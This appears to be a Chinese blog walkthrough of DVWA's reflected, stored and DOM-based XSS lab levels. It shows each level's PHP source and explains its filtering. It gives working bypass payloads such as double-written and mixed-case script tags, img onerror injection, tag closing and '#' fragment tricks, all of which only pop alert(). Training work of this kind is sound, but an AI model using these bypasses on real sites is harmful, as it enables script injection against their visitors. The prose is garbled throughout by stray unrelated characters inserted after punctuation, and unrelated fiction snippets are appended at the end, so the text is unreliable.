DVWA之XSS

XSS,全稱Cross Site Scripting真慢,即跨站腳本攻擊潮尝,某種意義上也是一種注入攻擊榕吼,是指攻擊者在頁面中注入惡意的腳本代碼,當(dāng)受害者訪問該頁面時勉失,惡意代碼會在其瀏覽器上執(zhí)行羹蚣,需要強(qiáng)調(diào)的是,XSS不僅僅限于JavaScript乱凿,還包括flash等其它腳本語言度宦。根據(jù)惡意代碼是否存儲在服務(wù)器中,XSS可以分為存儲型的XSS與反射型的XSS告匠。

DOM型的XSS由于其特殊性戈抄,常常被分為第三種,這是一種基于DOM樹的XSS后专。例如服務(wù)器端經(jīng)常使用document.boby.innerHtml等函數(shù)動態(tài)生成html頁面划鸽,如果這些函數(shù)在引用某些變量時沒有進(jìn)行過濾或檢查,就會產(chǎn)生DOM型的XSS戚哎。DOM型XSS可能是存儲型,也有可能是反射型。

反射型XSS

下面對四種級別的代碼進(jìn)行分析疏唾。

Low

源代碼

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Feedback for end user 
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
} 

?> 

可以看到顿天,代碼直接引用了name參數(shù)啤握,并沒有任何的過濾與檢查,存在明顯的XSS漏洞对室。
嘗試?yán)寐┒?/p>

<script>alert(/xss/)</script>

image.png

成功彈框

Medium(中級別)

源代碼

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

?> 

可以看到,這里對輸入進(jìn)行了過濾追迟,基于黑名單的思想,使用str_replace函數(shù)將輸入中的<script>刪除剿骨,這種防護(hù)機(jī)制是可以被輕松繞過的挤庇。
嘗試?yán)@過:
1.雙寫繞過

<sc<script>ript>alert(/xss/)</script>钞速,成功彈框:

image.png

2.大小寫混淆繞過

<ScRipt>alert(/xss/)</script> 成功彈框

image.png

High(高級別)

源代碼

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

?> 

可以看到,High級別的代碼同樣使用黑名單過濾輸入嫡秕,preg_replace() 函數(shù)用于正則表達(dá)式的搜索和替換渴语,這使得雙寫繞過、大小寫混淆繞過(正則表達(dá)式中i表示不區(qū)分大小寫)不再有效昆咽。

雖然無法使用<script>標(biāo)簽注入XSS代碼驾凶,但是可以通過img、body等標(biāo)簽的事件或者iframe等標(biāo)簽的src注入惡意的js代碼掷酗。
嘗試?yán)茫?br> <img src=1 onerror=alert(/xss/)>


image.png

用其他標(biāo)簽同樣也可以

Impossible

不可能 - 這個級別應(yīng)該可以抵御所有漏洞调违。它用于將易受攻擊的源代碼與安全源代碼進(jìn)行比較。
在DVWA v1.9之前泻轰,這個級別被稱為“高”技肩。

<?php 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $name = htmlspecialchars( $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

可以看到,Impossible級別的代碼使用htmlspecialchars函數(shù)把預(yù)定義的字符&浮声、”虚婿、 ’、<泳挥、>轉(zhuǎn)換為 HTML 實(shí)體然痊,防止瀏覽器將其作為HTML元素。

存儲型XSS

LOW

源代碼

<?php 

if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Get input 
    $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 

    // Sanitize message input 
    $message = stripslashes( $message ); 
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

    // Sanitize name input 
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

    // Update database 
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); 

    //mysql_close(); 
} 

?> 

函數(shù)介紹

trim(string,charlist)

函數(shù)移除字符串兩側(cè)的空白字符或其他預(yù)定義字符屉符,預(yù)定義字符包括剧浸、\t、\n筑煮、\x0B辛蚊、\r以及空格,可選參數(shù)charlist支持添加額外需要刪除的字符真仲。

mysql_real_escape_string(string,connection)

函數(shù)會對字符串中的特殊符號(\x00袋马,\n,\r秸应,\虑凛,‘,“软啼,\x1a)進(jìn)行轉(zhuǎn)義桑谍。

stripslashes(string)

函數(shù)刪除字符串中的反斜杠。

可以看到祸挪,對輸入并沒有做XSS方面的過濾與檢查锣披,且存儲在數(shù)據(jù)庫中,因此這里存在明顯的存儲型XSS漏洞。

message一欄輸入<script>alert(/xss/)</script>雹仿,成功彈框:

image.png

因name一欄前端有字?jǐn)?shù)限制增热,可以抓包修改name的值為<script>alert(/name/)</script>,
我們將name的值修改為<script>alert(/name/)</script>胧辽,將message的值隨意峻仇,看是否彈框。

txtName=<script>alert(/xss/)</script>&mtxMessage=1111&btnSign=Sign Guestbook

image.png

Medium(中)

源代碼

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

函數(shù)說明

strip_tags() 函數(shù)剝?nèi)プ址械?HTML邑商、XML 以及 PHP 的標(biāo)簽摄咆,但允許使用<b>標(biāo)簽。

addslashes() 函數(shù)返回在預(yù)定義字符(單引號人断、雙引號吭从、反斜杠、NULL)之前添加反斜杠的字符串含鳞。

image.png

簡單嘗試了幾次都不行了影锈,芹务,蝉绷,
可以看到,由于對message參數(shù)使用了htmlspecialchars函數(shù)進(jìn)行編碼枣抱,因此無法再通過message參數(shù)注入XSS代碼熔吗,但是對于name參數(shù),只是簡單過濾了<script>字符串佳晶,仍然存在存儲型的XSS桅狠。

1.雙寫繞過

抓包改name參數(shù)為<sc<script>ript>alert(/xss/)</script>

2.大小寫混淆繞過

抓包改name參數(shù)為<Script>alert(/xss/)</script>

修改方法和之前一樣

High(高)

源代碼:

 <?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

可以看到,這里使用正則表達(dá)式過濾了<script>標(biāo)簽轿秧,但是卻忽略了img中跌、iframe等其它危險的標(biāo)簽,因此name參數(shù)依舊存在存儲型XSS菇篡。

抓包改name參數(shù)為<img src=1 onerror=alert(1)>

到這里我們可以看到漩符,雖然是存儲型XSS,但和前面的反射性XSS驱还,利用漏洞的方法是一樣的嗜暴。

Impossible

源代碼:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到,通過使用htmlspecialchars函數(shù)议蟆,解決了XSS闷沥,但是要注意的是,如果htmlspecialchars函數(shù)使用不當(dāng)咐容,攻擊者就可以通過編碼的方式繞過函數(shù)進(jìn)行XSS注入舆逃,尤其是DOM型的XSS。

DOM型XSS

LOW

image.png

indexOf() 方法可返回某個指定的字符串值在字符串中首次出現(xiàn)的位置。
substring() 方法用于提取字符串中介于兩個指定下標(biāo)之間的字符路狮。
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
default=參數(shù)lang,也就是:
<option value="lang">decodeURI(lang)</option>

修改參數(shù):?default=<script>alert(/xss/)</script>

image.png

也可以通過閉合標(biāo)簽

?default=</option></select><img src=1 onerror=alert(/xss/) />

image.png

medium(中)

服務(wù)端代碼

 <?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

stripos()函數(shù): 查找 "第二個參數(shù)" 在第一個參數(shù)中第一次出現(xiàn)的位置鸟雏。
也就是說過濾了<script

1.url中有一個字符為#,該字符后的數(shù)據(jù)不會發(fā)送到服務(wù)器端览祖,從而繞過服務(wù)端過濾

?#default=<script>alert(/xss/)</script>

image.png

2.用img孝鹊,iframe,body展蒂,svg等標(biāo)簽的特性去執(zhí)行JS代碼又活。

?default=</option></select><img src=1 onerror=alert(/xss/) />

image.png

high

服務(wù)端源代碼

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

限定了鍵名必須為default,鍵值必須為固定的4個值锰悼。
所以這里只能用#繞過服務(wù)器檢測
方法同上:

?#default=<script>alert(/xss/)</script>

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末柳骄,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子箕般,更是在濱河造成了極大的恐慌耐薯,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,657評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件丝里,死亡現(xiàn)場離奇詭異曲初,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)杯聚,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,889評論 3 394
  • 文/潘曉璐 我一進(jìn)店門臼婆,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人幌绍,你說我怎么就攤上這事颁褂。” “怎么了傀广?”我有些...
    開封第一講書人閱讀 164,057評論 0 354
  • 文/不壞的土叔 我叫張陵颁独,是天一觀的道長。 經(jīng)常有香客問我伪冰,道長誓酒,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,509評論 1 293
  • 正文 為了忘掉前任糜值,我火速辦了婚禮丰捷,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘寂汇。我一直安慰自己病往,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,562評論 6 392
  • 文/花漫 我一把揭開白布骄瓣。 她就那樣靜靜地躺著停巷,像睡著了一般查剖。 火紅的嫁衣襯著肌膚如雪射窒。 梳的紋絲不亂的頭發(fā)上计螺,一...
    開封第一講書人閱讀 51,443評論 1 302
  • 那天蕊温,我揣著相機(jī)與錄音,去河邊找鬼庆揪。 笑死式曲,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的缸榛。 我是一名探鬼主播吝羞,決...
    沈念sama閱讀 40,251評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼内颗!你這毒婦竟也來了钧排?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,129評論 0 276
  • 序言:老撾萬榮一對情侶失蹤均澳,失蹤者是張志新(化名)和其女友劉穎恨溜,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體找前,經(jīng)...
    沈念sama閱讀 45,561評論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡糟袁,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,779評論 3 335
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了纸厉。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片系吭。...
    茶點(diǎn)故事閱讀 39,902評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡五嫂,死狀恐怖颗品,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情沃缘,我是刑警寧澤躯枢,帶...
    沈念sama閱讀 35,621評論 5 345
  • 正文 年R本政府宣布,位于F島的核電站槐臀,受9級特大地震影響锄蹂,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜水慨,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,220評論 3 328
  • 文/蒙蒙 一得糜、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧晰洒,春花似錦朝抖、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,838評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春侮邀,著一層夾襖步出監(jiān)牢的瞬間坏怪,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,971評論 1 269
  • 我被黑心中介騙來泰國打工绊茧, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留铝宵,地道東北人。 一個月前我還...
    沈念sama閱讀 48,025評論 2 370
  • 正文 我出身青樓华畏,卻偏偏與公主長得像捉超,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子唯绍,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,843評論 2 354

推薦閱讀更多精彩內(nèi)容